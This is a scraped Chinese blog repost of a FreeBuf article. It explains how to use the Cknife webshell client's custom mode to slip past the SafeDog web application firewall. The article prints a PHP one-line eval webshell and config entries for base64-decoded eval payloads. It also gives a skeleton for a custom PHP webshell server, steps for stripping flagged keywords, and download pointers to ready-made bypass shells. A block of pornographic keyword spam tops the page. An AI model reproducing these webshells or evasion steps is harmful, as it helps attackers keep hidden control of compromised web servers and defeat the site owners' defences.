日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

發布時間:2023/12/10 linux 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!

相關閱讀:

0x00 前言

很多朋友在使用Cknife時都誤以為她只是菜刀的跨平臺升級版,僅僅多了跨平臺的功能,其實小伙伴們還沒有用到精髓之處,她其實也是一款過WAF的利器。沒有給大家講解如何去使用它這是我的責任,我是一個有責任心的基佬,我會對大家負責的,于是有了下面的文章:

0x01 兩種方法

Cknife有兩種過WAF模式,一種為修改配置文件(Config.ini)過WAF,另外一種為Customize(自定義)模式過WAF。今天以自定義模式為例實例講解秒過安全狗,當然文章發布過后各大WAF廠商肯定會將某些特征列入黑名單,這里只是拋磚引玉提供思路。

0x02 ReadMe.txt

很多朋友在使用軟件的時候都很少會關注她,這里我附上它的有關于過WAF方面的一些內容,請大家仔細閱讀紅色部分。

[此處省略1W字]

使用說明:

服務端腳本支持ASP、ASPX、PHP、JSP、Customize(自定義)。

代碼包含且不限于如下代碼(只要能構造出類似eval的函數就行,比如PHP的create_function、assert等)

ASP:

ASP.NET:

PHP:<?php @eval($_POST['Cknife']);?>

JSP:

[代碼詳見1.jsp]

Customize:

自定義類型,功能代碼在服務端保存,理論上支持所有動態腳本,只要正確與C刀進行交互即可。此模式可按需定制,比如只要瀏覽目錄,或是只要虛擬終端功能,代碼可以很簡短。

過WAF:

這是一款跨平臺的基于配置文件的中國菜刀,把所有操作給予用戶來定義,主程序只是圖形的展示,以及數據的發送。

我分開了每一個步驟寫入到配置文件里面,用戶可以自定義任何代碼,包括更改參數名稱,參數內容。

比如:SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel設置皮膚為nimbus

SPL=->|?????????????????????????????????????????????? 表示截取數據的開始符號

SPR=|

CODE=code????????????????????????????????????? 編碼參數

ACTION=action????????????????????????????????????? 動作參數

PARAM1=z1???????????????????????????????????? 參數1

PARAM2=z2???????????????????????????????????? 參數2

PHP_BASE64=1?????????????????????????????????????? 當為PHP時,Z1,Z2參數是否開啟自動base64加密,如果想定義自己的加密方式則關閉設置為0

PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,這里可以不用該方式,可以用你任何想要的方式

PHP_INDEX=...??????????????????????????????????? 顯示主頁功能的代碼放這兒

PHP_READDICT=...???????????????????????????????????? 讀取主頁功能的代碼放這兒

PHP_READFILE=...????????????????????????????????????? 讀取文件功能的代碼放這兒

PHP_DELETE=...??????????????????????????????????? 刪除文件夾以及文件功能的代碼放這兒

PHP_RENAME=...??????????????????????????????????? 重命名文件夾以及文件功能的代碼放這兒

PHP_NEWDICT=...??????????????????????????????????? 新建目錄功能的代碼放這兒

PHP_UPLOAD=...?????????????????????????? 上傳文件功能的代碼放這兒

PHP_DOWNLOAD=...??????????????????????????????????? 下載文件功能的代碼放這兒

PHP_SHELL=...?????????????????????????????????? 虛擬終端功能的代碼放這兒

PHP_DB_MYSQL=...?????????????????????????????????? 管理MYSQL數據庫功能的代碼放這兒

ASP_...=...

ASPX_...=...

JSP_...=...

除了修改以上參數過WAF外,程序還額外提供了一種Customize過WAF的模式。

Customize模式原本是用于支持一些程序默認不支持的腳本,比如CFM、ASMX、ASHX、PY等等,只要用戶自寫的腳本能正確與菜刀進行交互即可。

換一個思考方式,如果我們自寫一個PHP腳本實現了列文件以及目錄的功能,它能夠正確的與C刀進行交互,這個時候如果我們選擇PHP(Eval)的連接方式就會連接失敗。

應該選擇Customize模式進行連接。有人說為什么一句話就可以連接,你偏偏還要寫這么多代碼用Customize模式連接?如果一個很厲害的WAF檢測eval,assert等關鍵詞

,你的一句話實在是饒不過,這個時候你可以不用一句話,就在PHP腳本里用正常代碼實現列文件以及目錄,然后用Customize模式連接就達到了過WAF的目的。

Customize(自定義)模式跟其他模式一樣,每一個步驟也都寫入到配置文件里面,用戶同樣可以參數名稱以及參數內容。

比如你自寫了用Customize模式連接的Customize.php服務端。

顯示主頁功能提交的參數應該是:密碼=1&action=index以及密碼=1&action=readdict。

如果C刀普及以后WAF廠商肯定會把readdict列入黑名單,這個時候你就可以修改readdict的名稱為其他名稱,同樣可以修改action的名稱,也可以修改1為其他字符CUS_MAKE=1

CUS_INDEX=index

CUS_READDICT=readdict

CUS_READFILE=readfile

CUS_SAVEFILE=savefile

CUS_DELETE=delete

CUS_RENAME=rename

CUS_NEWDICT=newdict

CUS_UPLOAD=upload

CUS_DOWNLOAD=download

CUS_SHELL=shell

[此處省略1W字]

0×03 自定義模式過WAF原理

如果只是使用一句話,很多廠商都查殺了eval等敏感關鍵詞,也查殺了傳遞過程中數據包中的敏感關鍵詞。我們只需要正常的實現列目錄、讀文件等功能并且沒有包含eval等敏感關鍵詞就可以繞過WAF,即服務端不使用一句話,而是把功能代碼都放在服務端來執行,客戶端提交正常的數據包。

0x04 過狗準備

有的朋友說還要自己寫列目錄、讀文件等等這些功能啊,那肯定沒戲了。其實不需要自己寫,只需要復制粘貼修改即可。

你要有點編程基礎(不用擔心只要會if語句就行),然后按照我給的框架添加就行。以PHP為例:

框架如下:

$pwd= 'Cknife';??????? //密碼

if($_POST [$pwd] == 1) {

$act = $_POST ['action']; ??????? // action名稱

echo ("->|");??? //前分隔符

if ($act == 'index') {?????????? //顯示主頁功能

} else if ($act == 'readdict') { ? //讀取目錄功能

} else if ($act == …) ???????? //你想要實現的功能,可以從Config.ini里面解密出來使用

{

}

echo ("|

}

?>

首先打開咋們可愛的Config.ini文件,找到PHP_INDEX

它是C刀文件管理顯示主頁的功能,我們先把它解密,先url解密再base64解密

把解密結果放到eclipse里面,自動整理下(右鍵Source->Format)

去掉echo ("->|")前面的所有代碼,去掉echo ("|

然后就是找到PHP_READDICT解密,這里要注意解密出來z1參數前面有base64_decode函數,我們的自定義模式下傳遞方式是原文傳遞,不會自動base64加密,所以要去掉base64_decode函數

還是老規矩,去掉echo ("->|")前面的所有代碼,去掉echo ("|

最后按照前面的方式再加入讀取文件的功能,即PHP_READFILE

把代碼保存為test.php,然后選用自定義模式連接

測試發現并沒有攔截

我們嘗試下一句話連接,發現會被攔截

0x05 Chora小伙伴的PHP自定義模式過狗代碼

見下載地址?密碼:f65g ? ? cus.php

0x05 MelodyZX小伙伴的ASP自定義模式過狗代碼

見下載地址?密碼:f65g ? ? ?cus.asp

0x06 總結

參數名稱,參數內容都可以修改,哪怕是廠商把readdict列入黑名單,你同樣可以在Config.ini里面修改成其他的名稱。讓我想起了周星馳破壞之王里的一句話:“我不是針對誰,我是說在座的各位都是垃圾”。無敵是多么的寂寞。

*本文由Chora撰寫并投稿,本文屬FreeBuf原創獎勵計劃文章,未經許可禁止轉載

總結

以上是生活随笔為你收集整理的linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。